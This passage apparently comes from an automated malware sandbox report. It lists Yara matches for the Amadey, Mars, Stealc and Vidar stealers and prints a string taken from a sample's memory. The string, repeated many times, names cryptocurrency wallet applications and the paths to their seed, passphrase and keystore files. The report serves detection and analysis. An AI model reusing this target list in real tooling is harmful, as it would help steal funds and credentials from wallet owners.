Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 13.2.explorti.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.GCGCBAECFC.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorti.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorti.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.explorti.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1942402729.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3530405347.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2888618233.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2928820041.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1901602961.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1853411252.0000000004870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4113285093.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1891834270.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3489729750.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4093876285.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2283607649.0000000004860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2323806532.0000000000071000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1894930528.0000000000791000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1833532825.0000000001B14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 19a0b0f0ae.exe PID: 7640, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7508, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1833532825.0000000001AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop 